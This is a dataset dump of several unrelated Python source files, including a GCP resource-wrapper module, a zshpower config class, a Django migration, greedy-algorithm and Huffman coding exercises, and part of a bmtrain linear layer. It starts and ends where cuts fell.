'cloudresourcemanager.googleapis.com/Project': GcpProject,\n 'serviceusage.googleapis.com/Service': GcpProjectService,\n },\n 'iam': {\n \"bigtableadmin.googleapis.com/Instance\": GcpBigtableInstanceIam,\n \"cloudfunctions.googleapis.com/CloudFunction\": GcpCloudFunctionIam,\n \"pubsub.googleapis.com/Subscription\": GcpPubsubSubscriptionIam,\n \"pubsub.googleapis.com/Topic\": GcpPubsubTopicIam,\n \"storage.googleapis.com/Bucket\": GcpStorageBucketIamPolicy,\n \"cloudresourcemanager.googleapis.com/Project\": GcpProjectIam,\n }\n }\n\n if content_type not in cai_map:\n raise ResourceException('Unrecognized content type: {}'.format(content_type))\n\n asset_type_map = cai_map.get(content_type)\n\n if asset_type not in asset_type_map:\n raise ResourceException('Unrecognized asset type: {}'.format(asset_type))\n\n cls = asset_type_map.get(asset_type)\n\n resource_data = GoogleAPIResource._extract_cai_name_data(resource_name)\n\n # if the project_id was passed, and its wasnt found in the resource name, add it\n if project_id and 'project_id' not in resource_data:\n resource_data['project_id'] = project_id\n\n return cls(\n client_kwargs=client_kwargs,\n **resource_data\n )\n\n @staticmethod\n def factory(client_kwargs={}, **kwargs):\n resource_type_map = {\n 'apps.services.versions.instances': GcpAppEngineInstance,\n 'bigquery.datasets': GcpBigqueryDataset,\n 'bigtableadmin.projects.instances': GcpBigtableInstance,\n 'bigtableadmin.projects.instances.iam': GcpBigtableInstanceIam,\n 'cloudfunctions.projects.locations.functions': GcpCloudFunction,\n 'cloudfunctions.projects.locations.functions.iam': GcpCloudFunctionIam,\n 'compute.instances': GcpComputeInstance,\n 'compute.disks': GcpComputeDisks,\n 'compute.subnetworks': GcpComputeSubnetwork,\n 'compute.firewalls': GcpComputeFirewall,\n 'container.projects.locations.clusters': GcpGkeCluster,\n 'container.projects.locations.clusters.nodePools': GcpGkeClusterNodepool,\n 'cloudresourcemanager.projects': GcpProject,\n 'cloudresourcemanager.projects.iam': GcpProjectIam,\n 'dataproc.clusters': GcpDataprocCluster,\n 'pubsub.projects.subscriptions': GcpPubsubSubscription,\n 'pubsub.projects.subscriptions.iam': GcpPubsubSubscriptionIam,\n 'pubsub.projects.topics': GcpPubsubTopic,\n 'pubsub.projects.topics.iam': GcpPubsubTopicIam,\n 'serviceusage.services': GcpProjectService,\n 'sqladmin.instances': GcpSqlInstance,\n 'storage.buckets': GcpStorageBucket,\n 'storage.buckets.iam': GcpStorageBucketIamPolicy\n }\n\n resource_type = kwargs.get('resource_type')\n if not resource_type:\n raise ResourceException('Resource type not specified')\n\n if resource_type not in resource_type_map:\n raise ResourceException('Unknown resource type: {}'.format(resource_type))\n\n cls = resource_type_map.get(resource_type)\n return cls(client_kwargs=client_kwargs, **kwargs)\n\n def to_dict(self):\n details = self._resource_data.copy()\n details.update({\n 'cai_type': self.cai_type,\n 'full_resource_name': self.full_resource_name(),\n })\n return details\n\n def type(self):\n type_components = [\"gcp\", self.service_name, self.resource_path]\n\n # Things like IAM policy are not separate resources, but rather\n # properties of a resource. We may want to evaluate policy on these\n # properties, so we represent them as resources and need to distinguish\n # them in the resource type.\n if self.is_property():\n type_components.append(self.resource_property)\n\n return \".\".join(type_components)\n\n # Google's documentation describes what it calls a 'full resource name' for\n # resources. None of the API's seem to implement it (except Cloud Asset\n # Inventory). This attempts to generate it from the discovery-based api\n # client's generated http request url.\n #\n # If we inject it into the resource, we can use it in policy evaluation to\n # simplify the structure of our policies\n def full_resource_name(self):\n\n # If this is a resource property, return the resource's frn instead\n if self.is_property():\n return self.parent_resource.full_resource_name()\n\n method = getattr(self.service, self.get_method)\n uri = method(**self._get_request_args()).uri\n\n uri_parsed = urlparse(uri)\n domain = uri_parsed.netloc\n path_segments = uri_parsed.path[1:].split('/')\n\n # CAI uses cloudsql.googleapis.com in their full_resource_name, so we need to detect all\n # bad incarnations and replace them\n bad_sql_names = ['sql', 'sqladmin']\n\n # First we need the name of the api\n if domain.startswith(\"www.\"):\n # we need to get the api name from the path\n api_name = path_segments.pop(0)\n api_name = 'cloudsql' if api_name in bad_sql_names else api_name\n else:\n # the api name is the first segment of the domain\n api_name = domain.split('.')[0]\n\n # the sql api is now returning sqladmin.googleapis.com/sql/\n # and the CAI docs state the FRN for sql instances should start\n # with //cloudsql.googleapis.com/ so lets replace all odd sql ones\n # and rely on the code below to catch duplicates\n path_segments[0] = 'cloudsql' if path_segments[0] in bad_sql_names else path_segments[0]\n api_name = 'cloudsql' if api_name in bad_sql_names else api_name\n\n # occasionally the compute api baseUrl is returned as\n # compute.googleapis.com/compute, in which case we need to remove\n # the duplicated api reference\n # also addresses the sql issue mentioned above\n if api_name == path_segments[0]:\n path_segments.pop(0)\n\n # Remove the version from the path\n path_segments.pop(0)\n\n # Remove method from the last path segment\n if \":\" in path_segments[-1]:\n path_segments[-1] = path_segments[-1].split(\":\")[0]\n\n # Annoying resource-specific fixes\n\n # The url for buckets is `/b/` instead of `/buckets/`. Initially this fixed that\n # Unfortunately, CAI omits the collection name, rather than follow Google's API design doc\n # So we just remove the collection name\n #\n # https://cloud.google.com/apis/design/resource_names\n # See: https://issuetracker.google.com/issues/131586763\n #\n if api_name == 'storage' and path_segments[0] == 'b':\n path_segments.pop(0)\n # Replace with this if they fix CAI:\n # path_segments[0] = \"buckets\"\n\n if api_name == 'bigtableadmin':\n api_name = 'bigtable'\n\n resource_path = \"/\".join(path_segments)\n\n return \"//{}.googleapis.com/{}\".format(api_name, resource_path)\n\n def get(self):\n method = getattr(self.service, self.get_method)\n\n # If the resource has readiness criteria, wait for it\n if self.readiness_key and self.readiness_value:\n waiter = Waiter(method, **self._get_request_args())\n asset = waiter.wait(\n self.readiness_key,\n self.readiness_value,\n terminal_values=self.readiness_terminal_values,\n interval=10,\n retries=90\n )\n else:\n asset = method(**self._get_request_args()).execute()\n\n asset['_full_resource_name'] = self.full_resource_name()\n\n # if this asset is a property, inject its parent\n if self.is_property():\n parent = self.parent_resource.get()\n asset['_resource'] = parent\n return asset\n\n # Determine what remediation steps to take, fall back to the original resource-defined update method\n def remediate(self, remediation):\n # Check for an update spec version, default to version 1\n remediation_spec = remediation.get('_remediation_spec', \"v1\")\n if remediation_spec == \"v1\":\n\n # If no remediation_spec is listed, fall back to previous behavior\n # We inject the _full_resource_name in requests, so we need to remove it\n for key in list(remediation):\n if key.startswith('_'):\n del remediation[key]\n\n method_name = self.update_method\n params = self._update_request_args(remediation)\n\n self._call_method(method_name, params)\n\n elif remediation_spec == \"v2beta1\":\n required_keys = ['method', 'params']\n\n for step in remediation.get('steps', []):\n if not all(k in step for k in required_keys):\n raise InvalidRemediationSpecStep()\n\n method_name = step.get('method')\n params = step.get('params')\n self._call_method(method_name, params)\n else:\n raise UnsupportedRemediationSpec(\"The specified remediation spec is not supported\")\n\n @tenacity.retry(\n retry=tenacity.retry_if_exception(is_retryable_exception),\n wait=tenacity.wait_random_exponential(multiplier=5, max=20),\n stop=tenacity.stop_after_attempt(15)\n )\n def _call_method(self, method_name, params):\n ''' Call the requested method on the resource '''\n method = getattr(self.service, method_name)\n return method(**params).execute()\n\n @property\n def ancestry(self):\n if self._ancestry:\n return self._ancestry\n\n # attempt to fill in the resource's ancestry\n # if the target project has the cloudresourcemanager api disabled, this will fail\n # if the resource_data doesn't include the project_id (ex: with storage buckets) this will also fail\n try:\n resource_manager_projects = build_subresource(\n 'cloudresourcemanager.projects', 'v1', **self._client_kwargs\n )\n\n resp = resource_manager_projects.getAncestry(\n projectId=self.project_id\n ).execute()\n\n # Reformat getAncestry response to be a list of resource names\n self._ancestry = [\n f\"//cloudresourcemanager.googleapis.com/{ancestor['resourceId']['type']}s/{ancestor['resourceId']['id']}\"\n for ancestor in resp.get('ancestor')\n ]\n\n except Exception:\n # This call is best-effort. Any failures should be caught\n pass\n\n return self._ancestry\n\n @property\n def organization(self):\n ancestry = self.ancestry\n if not ancestry:\n return None\n\n return next(\n (ancestor for ancestor in ancestry if ancestor.startswith('//cloudresourcemanager.googleapis.com/organizations/')),\n None\n )\n\n @property\n def client_kwargs(self):\n return self._client_kwargs\n\n @client_kwargs.setter\n def client_kwargs(self, client_kwargs):\n\n # Invalidate service/parent because client_kwargs changed\n self._service = None\n self._parent_resource = None\n\n self._client_kwargs = client_kwargs\n\n @property\n def service(self):\n if self._service is None:\n\n full_resource_path = \"{}.{}\".format(\n self.service_name,\n self.resource_path\n )\n\n self._service = build_subresource(\n full_resource_path,\n self.version,\n **self._client_kwargs\n )\n return self._service\n\n @property\n def project_id(self):\n return self._resource_data.get('project_id')\n\n @property\n def parent_resource(self):\n # If there is a parent class, return it as a resource\n\n if self._parent_resource is None and self.parent_cls:\n\n self._parent_resource = self.parent_cls(\n client_kwargs=self._client_kwargs,\n **self._resource_data.copy()\n )\n return self._parent_resource\n\n\nclass GcpAppEngineInstance(GoogleAPIResource):\n\n service_name = \"appengine\"\n resource_path = \"apps.services.versions.instances\"\n version = \"v1\"\n readiness_key = 'vmStatus'\n readiness_value = 'RUNNING'\n update_method = \"debug\"\n\n cai_type = 'appengine.googleapis.com/Instance' # this is made-up based on existing appengine types\n\n required_resource_data = ['name', 'app', 'service', 'version']\n\n def _get_request_args(self):\n return {\n 'appsId': self._resource_data['app'],\n 'servicesId': self._resource_data['service'],\n 'versionsId': self._resource_data['version'],\n 'instancesId': self._resource_data['name']\n }\n\n def _update_request_args(self, body):\n return {\n 'appsId': self._resource_data['app'],\n 'servicesId': self._resource_data['service'],\n 'versionsId': self._resource_data['version'],\n 'instancesId': self._resource_data['name']\n }\n\n\nclass GcpBigqueryDataset(GoogleAPIResource):\n\n service_name = \"bigquery\"\n resource_path = \"datasets\"\n version = \"v2\"\n\n required_resource_data = ['name', 'project_id']\n\n cai_type = \"bigquery.googleapis.com/Dataset\"\n\n def _get_request_args(self):\n return {\n 'datasetId': self._resource_data['name'],\n 'projectId': self._resource_data['project_id']\n }\n\n def _update_request_args(self, body):\n return {\n 'datasetId': self._resource_data['name'],\n 'projectId': self._resource_data['project_id'],\n 'body': body\n }\n\n\nclass GcpBigtableInstance(GoogleAPIResource):\n\n service_name = \"bigtableadmin\"\n resource_path = \"projects.instances\"\n version = \"v2\"\n update_method = \"partialUpdateInstance\"\n readiness_key = 'state'\n readiness_value = 'READY'\n\n required_resource_data = ['name', 'project_id']\n\n cai_type = \"bigtableadmin.googleapis.com/Instance\"\n\n def _get_request_args(self):\n return {\n 'name': 'projects/{}/instances/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n ),\n }\n\n def _update_request_args(self, body):\n return {\n 'name': 'projects/{}/instances/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n ),\n 'body': body,\n 'updateMask': 'labels,displayName,type'\n }\n\n\nclass GcpBigtableInstanceIam(GcpBigtableInstance):\n\n resource_property = 'iam'\n parent_cls = GcpBigtableInstance\n get_method = \"getIamPolicy\"\n update_method = \"setIamPolicy\"\n readiness_key = None\n readiness_value = None\n\n def _get_request_args(self):\n return {\n 'resource': 'projects/{}/instances/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n ),\n }\n\n def _update_request_args(self, body):\n return {\n 'resource': 'projects/{}/instances/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n ),\n 'body': {\n 'policy': body\n }\n }\n\n\nclass GcpCloudFunction(GoogleAPIResource):\n\n service_name = \"cloudfunctions\"\n resource_path = \"projects.locations.functions\"\n version = \"v1\"\n update_method = \"patch\"\n\n required_resource_data = ['name', 'location', 'project_id']\n\n cai_type = \"cloudfunctions.googleapis.com/CloudFunction\" # unreleased\n\n def _get_request_args(self):\n return {\n 'name': 'projects/{}/locations/{}/functions/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['location'],\n self._resource_data['name']\n ),\n }\n\n def _update_request_args(self, body):\n return {\n 'name': 'projects/{}/locations/{}/functions/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['location'],\n self._resource_data['name']\n ),\n 'body': body\n }\n\n\nclass GcpCloudFunctionIam(GcpCloudFunction):\n\n resource_property = 'iam'\n parent_cls = GcpCloudFunction\n get_method = \"getIamPolicy\"\n update_method = \"setIamPolicy\"\n\n def _get_request_args(self):\n return {\n 'resource': 'projects/{}/locations/{}/functions/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['location'],\n self._resource_data['name']\n ),\n }\n\n def _update_request_args(self, body):\n return {\n 'resource': 'projects/{}/locations/{}/functions/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['location'],\n self._resource_data['name']\n ),\n 'body': {\n 'policy': body\n }\n }\n\n\nclass GcpComputeInstance(GoogleAPIResource):\n\n service_name = \"compute\"\n resource_path = \"instances\"\n version = \"v1\"\n\n required_resource_data = ['name', 'location', 'project_id']\n\n cai_type = \"compute.googleapis.com/Instance\"\n\n def _get_request_args(self):\n return {\n 'instance': self._resource_data['name'],\n 'zone': self._resource_data['location'],\n 'project': self._resource_data['project_id']\n }\n\n def _update_request_args(self, body):\n return {\n 'instance': self._resource_data['name'],\n 'zone': self._resource_data['location'],\n 'project': self._resource_data['project_id']\n }\n\n\nclass GcpComputeDisks(GoogleAPIResource):\n\n service_name = \"compute\"\n resource_path = \"disks\"\n version = \"v1\"\n\n required_resource_data = ['name', 'location', 'project_id']\n\n cai_type = \"compute.googleapis.com/Disk\"\n\n def _get_request_args(self):\n return {\n 'project': self._resource_data['project_id'],\n 'zone': self._resource_data['location'],\n 'disk': self._resource_data['name']\n }\n\n def _update_request_args(self, body):\n return {\n 'project': self._resource_data['project_id'],\n 'zone': self._resource_data['location'],\n 'disk': self._resource_data['name']\n }\n\n\nclass GcpComputeSubnetwork(GoogleAPIResource):\n\n service_name = \"compute\"\n resource_path = \"subnetworks\"\n version = \"v1\"\n update_method = \"patch\"\n\n required_resource_data = ['name', 'location', 'project_id']\n\n cai_type = \"compute.googleapis.com/Subnetwork\"\n\n def _get_request_args(self):\n return {\n 'project': self._resource_data['project_id'],\n 'region': self._resource_data['location'],\n 'subnetwork': self._resource_data['name']\n }\n\n def _update_request_args(self, body):\n return {\n 'project': self._resource_data['project_id'],\n 'region': self._resource_data['location'],\n 'subnetwork': self._resource_data['name'],\n 'body': body\n }\n\n\nclass GcpComputeFirewall(GoogleAPIResource):\n\n service_name = \"compute\"\n resource_path = \"firewalls\"\n version = \"v1\"\n update_method = \"patch\"\n\n required_resource_data = ['name', 'project_id']\n\n cai_type = \"compute.googleapis.com/Firewall\"\n\n def _get_request_args(self):\n return {\n 'firewall': self._resource_data['name'],\n 'project': self._resource_data['project_id']\n }\n\n def _update_request_args(self, body):\n return {\n 'firewall': self._resource_data['name'],\n 'project': self._resource_data['project_id'],\n 'body': body\n }\n\n\nclass GcpDataprocCluster(GoogleAPIResource):\n service_name = \"dataproc\"\n resource_path = \"projects.regions.clusters\"\n update_method = \"patch\"\n version = \"v1beta2\"\n\n required_resource_data = ['name', 'location', 'project_id']\n\n cai_type = \"dataproc.googleapis.com/Cluster\"\n\n def _get_request_args(self):\n return {\n 'projectId': self._resource_data['project_id'],\n 'region': self._resource_data['location'],\n 'clusterName': self._resource_data['name']\n }\n\n def _update_request_args(self, body):\n return {\n 'projectId': self._resource_data['project_id'],\n 'region': self._resource_data['location'],\n 'clusterName': self._resource_data['name']\n }\n\n\nclass GcpGkeCluster(GoogleAPIResource):\n\n service_name = \"container\"\n resource_path = \"projects.locations.clusters\"\n version = \"v1\"\n readiness_key = 'status'\n readiness_value = 'RUNNING'\n readiness_terminal_values = ['ERROR', 'DEGRADED', 'STOPPING', 'STATUS_UNSPECIFIED']\n\n required_resource_data = ['name', 'location', 'project_id']\n\n cai_type = \"container.googleapis.com/Cluster\"\n\n def _get_request_args(self):\n return {\n 'name': 'projects/{}/locations/{}/clusters/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['location'],\n self._resource_data['name']\n )\n }\n\n def _update_request_args(self, body):\n return {\n 'name': 'projects/{}/locations/{}/clusters/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['location'],\n self._resource_data['name']\n ),\n 'body': body\n }\n\n\nclass GcpGkeClusterNodepool(GoogleAPIResource):\n\n service_name = \"container\"\n resource_path = \"projects.locations.clusters.nodePools\"\n version = \"v1\"\n readiness_key = 'status'\n readiness_value = 'RUNNING'\n\n required_resource_data = ['name', 'cluster', 'location', 'project_id']\n\n cai_type = \"container.googleapis.com/NodePool\" # beta\n\n def _get_request_args(self):\n return {\n 'name': 'projects/{}/locations/{}/clusters/{}/nodePools/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['location'],\n self._resource_data['cluster'],\n self._resource_data['name']\n )\n }\n\n def _update_request_args(self, body):\n return {\n 'name': 'projects/{}/locations/{}/clusters/{}/nodePools/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['location'],\n self._resource_data['cluster'],\n self._resource_data['name']\n ),\n 'body': body\n }\n\n\nclass GcpPubsubSubscription(GoogleAPIResource):\n\n service_name = \"pubsub\"\n resource_path = \"projects.subscriptions\"\n version = \"v1\"\n update_method = \"patch\"\n\n required_resource_data = ['name', 'project_id']\n\n cai_type = \"pubsub.googleapis.com/Subscription\"\n\n def _get_request_args(self):\n return {\n 'subscription': 'projects/{}/subscriptions/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n )\n }\n\n def _update_request_args(self, body):\n return {\n 'name': 'projects/{}/subscriptions/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n ),\n 'body': {\n 'subscription': body,\n 'updateMask': 'labels,ack_deadline_seconds,push_config,message_retention_duration,retain_acked_messages,expiration_policy'\n }\n }\n\n\nclass GcpPubsubSubscriptionIam(GcpPubsubSubscription):\n\n resource_property = 'iam'\n parent_cls = GcpPubsubSubscription\n get_method = \"getIamPolicy\"\n update_method = \"setIamPolicy\"\n\n def _get_request_args(self):\n return {\n 'resource': 'projects/{}/subscriptions/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n )\n }\n\n def _update_request_args(self, body):\n return {\n 'resource': 'projects/{}/subscriptions/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n ),\n 'body': {\n 'policy': body\n }\n }\n\n\nclass GcpPubsubTopic(GoogleAPIResource):\n\n service_name = \"pubsub\"\n resource_path = \"projects.topics\"\n version = \"v1\"\n update_method = \"patch\"\n\n required_resource_data = ['name', 'project_id']\n\n cai_type = \"pubsub.googleapis.com/Topic\"\n\n def _get_request_args(self):\n return {\n 'topic': 'projects/{}/topics/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n )\n }\n\n def _update_request_args(self, body):\n return {\n 'name': 'projects/{}/topics/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n ),\n 'body': {\n 'topic': body,\n # the name field is immutable\n 'updateMask': 'labels'\n }\n }\n\n\nclass GcpPubsubTopicIam(GcpPubsubTopic):\n\n resource_property = \"iam\"\n parent_cls = GcpPubsubTopic\n get_method = \"getIamPolicy\"\n update_method = \"setIamPolicy\"\n\n def _get_request_args(self):\n return {\n 'resource': 'projects/{}/topics/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n )\n }\n\n def _update_request_args(self, body):\n return {\n 'resource': 'projects/{}/topics/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n ),\n 'body': {\n 'policy': body\n }\n }\n\n\nclass GcpStorageBucket(GoogleAPIResource):\n\n service_name = \"storage\"\n resource_path = \"buckets\"\n version = \"v1\"\n\n required_resource_data = ['name']\n\n cai_type = \"storage.googleapis.com/Bucket\"\n\n def _get_request_args(self):\n return {\n 'bucket': self._resource_data['name'],\n }\n\n def _update_request_args(self, body):\n return {\n 'bucket': self._resource_data['name'],\n 'body': body\n }\n\n\nclass GcpStorageBucketIamPolicy(GcpStorageBucket):\n\n resource_property = \"iam\"\n parent_cls = GcpStorageBucket\n get_method = \"getIamPolicy\"\n update_method = \"setIamPolicy\"\n\n\nclass GcpSqlInstance(GoogleAPIResource):\n\n service_name = \"sqladmin\"\n resource_path = \"instances\"\n version = \"v1beta4\"\n readiness_key = 'state'\n readiness_value = 'RUNNABLE'\n readiness_terminal_values = ['FAILED', 'MAINTENANCE', 'SUSPENDED', 'UNKNOWN_STATE']\n\n cai_type = \"sqladmin.googleapis.com/Instance\"\n\n def _get_request_args(self):\n return {\n 'instance': self._resource_data['name'],\n 'project': self._resource_data['project_id']\n }\n\n def _update_request_args(self, body):\n return {\n 'instance': self._resource_data['name'],\n 'project': self._resource_data['project_id'],\n 'body': body\n }\n\n\nclass GcpProject(GoogleAPIResource):\n\n service_name = \"cloudresourcemanager\"\n resource_path = \"projects\"\n version = \"v1\"\n\n cai_type = \"cloudresourcemanager.googleapis.com/Project\" # beta\n\n def _get_request_args(self):\n return {\n 'projectId': self._resource_data['name']\n }\n\n def _update_request_args(self, body):\n return {\n 'projectId': self._resource_data['name'],\n 'body': body\n }\n\n\nclass GcpProjectIam(GcpProject):\n\n resource_property = \"iam\"\n parent_cls = GcpProject\n get_method = \"getIamPolicy\"\n update_method = \"setIamPolicy\"\n\n def _get_request_args(self):\n return {\n 'resource': self._resource_data['name'],\n 'body': {}\n }\n\n def _update_request_args(self, body):\n return {\n 'resource': self._resource_data['name'],\n 'body': {\n 'policy': body,\n 'updateMask': \"bindings,etag,auditConfigs\"\n }\n }\n\n\nclass GcpProjectService(GoogleAPIResource):\n\n service_name = \"serviceusage\"\n resource_path = \"services\"\n version = \"v1\"\n\n required_resource_data = ['name', 'project_id']\n\n cai_type = 'serviceusage.googleapis.com/Service'\n\n def _get_request_args(self):\n return {\n 'name': 'projects/{}/services/{}'.format(\n self._resource_data['project_id'],\n self._resource_data['name']\n )\n }\n\n def _update_request_args(self, body):\n raise NotImplementedError(\"Update request not available\")\n","sub_path":"rpe/resources/gcp.py","file_name":"gcp.py","file_ext":"py","file_size_in_byte":34921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"266776796","text":"from zshpower import __version__\nfrom os.path import join\nfrom zshpower.config import package\n\n\nclass Base:\n def __init__(self, home):\n self.HOME = home\n self.config_root = join(\n self.HOME, f\".{package.info['pkg_name']}/config/{__version__}\"\n )\n self.init_file = join(self.HOME, f\".{package.info['pkg_name']}/init\")\n self.config_file = join(self.config_root, \"config.toml\")\n self.zsh_rc = join(self.HOME, \".zshrc\")\n self.omz_root = join(self.HOME, \".oh-my-zsh\")\n self.themes_folder = join(self.omz_root, \"custom/themes\")\n self.theme_file = join(\n self.themes_folder, f\"{package.info['pkg_name']}.zsh-theme\"\n )\n self.plugins = (\"zsh-syntax-highlighting\", \"zsh-autosuggestions\")\n","sub_path":"zshpower/config/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"529981829","text":"# -*- coding: utf-8 -*-\r\nfrom __future__ import unicode_literals\r\n\r\nfrom django.db import models, migrations\r\n\r\n\r\nclass Migration(migrations.Migration):\r\n\r\n dependencies = [\r\n ]\r\n\r\n operations = [\r\n migrations.CreateModel(\r\n name='FeedbackResult',\r\n fields=[\r\n ('id', models.AutoField(serialize=False, auto_created=True, verbose_name='ID', primary_key=True)),\r\n ('user_name', models.CharField(max_length=64)),\r\n ('original_text', models.TextField(blank=True, null=True)),\r\n ('system_correction_result', models.TextField(blank=True, null=True)),\r\n ('user_correction_suggestion', models.TextField(blank=True, null=True)),\r\n ],\r\n ),\r\n migrations.CreateModel(\r\n name='User',\r\n fields=[\r\n ('id', models.AutoField(serialize=False, auto_created=True, verbose_name='ID', primary_key=True)),\r\n ('user_name', models.CharField(max_length=64)),\r\n ('password', models.CharField(max_length=128)),\r\n ('user_type', models.IntegerField()),\r\n ],\r\n ),\r\n ]\r\n","sub_path":"grammar_correction/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"92150859","text":"\n################################################################################################\n# 1. lines and points\n\ns = \"4\\n4 7\\n1 3\\n2 5\\n5 6\\n\"\ns = s.strip().split('\\n')\n\n# sort + greedy algo\n\nlines = []\npoints = []\n\nfor l in s[1:]:\n l = [int(i) for i in l.split()]\n lines.append(tuple(l))\nlines = sorted(lines, key=lambda x: x[1])\n\nfor st, fn in lines:\n if not points or points and st > points[-1]:\n points.append(fn)\n\nlen(points), ' '.join([str(p) for p in points]), lines\n\n################################################################################################\n# 2. continuous backpack\n\ns = \"3 50\\n 60 20\\n 100 50\\n 120 30\\n\"\ns = s.strip().split('\\n')\nn_items, w_max = [int(i) for i in s[0].split()]\n\nitems = []\nfor item in s[1:]:\n item = [int(i) for i in item.split()]\n item[0] = item[0] / item[1]\n items.append(tuple(item))\nitems = sorted(items, key=lambda x: x[0])\n\nw_cur, v_sum = 0, 0\nwhile w_cur < w_max and items:\n val, w = items.pop()\n free = w_max - w_cur\n w_used = min(w, free)\n v_sum += val * w_used\n w_cur += w_used\n\nprint(\"{:.3f}\".format(v_sum))\n\n\n################################################################################################\n# 3. different parts\n\ns = \"6\\n\"\nn = int(s.strip())\n\n\ndef diff_parts(n):\n if n < 3:\n return [n]\n parts = []\n cumsum = 0\n for i in range(1, n):\n if 2 * i + 1 + cumsum <= n or cumsum + i == n:\n cumsum += i\n parts.append(i)\n if cumsum == n: break\n\n return parts\n\n\nprint(len(diff_parts(n)))\nprint(' '.join([str(i) for i in diff_parts]))\n\n################################################################################################\n# 4. Huffman codes\n# heapq\n\nfrom collections import Counter, namedtuple\nimport heapq\n\nclass Node():\n def __init__(self, left, right):\n self.left = left\n self.right = right\n def walk(self, code, acc):\n self.left.walk(code, acc + \"0\")\n self.right.walk(code, acc + \"1\")\n\n\nclass Leaf(namedtuple(\"Leaf\", [\"char\"])):\n def walk(self, code, acc):\n code[self.char] = acc or \"0\"\n\n\ndef huffman_encode(s):\n h = []\n for ch, freq in Counter(s).items():\n h.append((freq, len(h), Leaf(ch)))\n\n heapq.heapify(h)\n\n count = len(h)\n while len(h) > 1:\n freq1, _count1, left = heapq.heappop(h)\n freq2, _count2, right = heapq.heappop(h)\n heapq.heappush(h, (freq1 + freq2, count, Node(left, right)))\n count += 1\n\n code = {}\n if h:\n [(_freq, _count, root)] = h\n root.walk(code, \"\")\n return code\n\ns = \"abracccada\"\ncode = huffman_encode(s)\nencoded = ''.join(code[ch] for ch in s)\n\nprint(Counter(s))\nprint(len(code), len(encoded))\nfor ch in sorted(code):\n print(\"{}: {}\".format(ch, code[ch]))\nprint(encoded)\n\n\n# DECODE\n\nimport re\ns = \"4 14\\na: 0\\nb: 10\\nc: 110\\nd: 111\\n01001100100111\\n\".strip().split('\\n')\ncoded = s[-1]\ncodes = {}\nfor c in s[1:-1]:\n c = re.split(': ', c)\n codes[c[1]] = c[0]\n\n\ndef huffman_decode(coded, codes):\n tmp = ''\n decoded = ''\n for i, c in enumerate(coded):\n tmp += c\n if tmp in codes.keys():\n decoded += codes[tmp]\n tmp, i_tmp = '', i\n return (decoded)\n\nhuffman_decode(coded, codes)\n\n\n# test example\n\ndef test(n_iter=100):\n import random\n import string\n\n for i in range(n_iter):\n length = random.randint(0, 32)\n s = \"\".join(random.choice(string.ascii_letters) for _ in range(length))\n codes = huffman_encode(s)\n coded = \"\".join(codes[ch] for ch in s)\n codes = {y: x for x, y in codes.items()}\n decoded = huffman_decode(coded, codes)\n assert decoded == s, [s, decoded, coded, sorted(codes.items(), key=lambda x: x[1])]\n\ntest()","sub_path":"Algorithms_methods/Greedy.py","file_name":"Greedy.py","file_ext":"py","file_size_in_byte":3767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"186622049","text":"class Solution:\n def minSubsequence(self, nums: List[int]) -> List[int]:\n temp = sum(nums)\n check = 0\n resu = []\n nums.sort()\n for i in range(len(nums)-1,-1,-1):\n if(check > temp): break\n check += nums[i]\n temp -= nums[i]\n resu.append(nums[i])\n return resu","sub_path":"before midterm/leetcode(without_tsis)/subsequence_min_1403.py","file_name":"subsequence_min_1403.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"428215314","text":"# coding=utf-8\n# Copyright 2022 The OpenBMB team.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport torch\nimport bmtrain as bmt\nimport math\nimport torch.nn.functional as F\n\n\nclass Linear(bmt.DistributedModule):\n def __init__(\n self,\n dim_in: int,\n dim_out: int,\n dtype: torch.dtype = torch.half,\n init_mean: float = 0.0,\n init_std: float = 1,\n scale_before: bool = False,\n ):\n super().__init__()\n self.dim_in = self.in_features = dim_in\n self.dim_out = self.out_features = dim_out\n self.scale_before = scale_before\n\n self.weight = bmt.DistributedParameter(\n torch.empty((dim_out, dim_in), dtype=dtype),\n init_method=bmt.ParameterInitializer(\n torch.nn.init.normal_, mean=init_mean, std=init_std\n ),\n )\n\n def forward(self, x: torch.Tensor):\n \"\"\"\n Args:\n x (:obj:`torch.Tensor` of shape ``(batch, seq_len, dim_in)``): The input of linear layer\n Returns:\n :obj:`torch.Tensor` of shape ``(batch, seq_len, dim_out)``: The output of the linear transform y.\n \"\"\" # noqa: E501\n if self.scale_before:\n x = x / math.sqrt(self.dim_in)\n x = F.linear(x, self.weight)\n else:\n x = 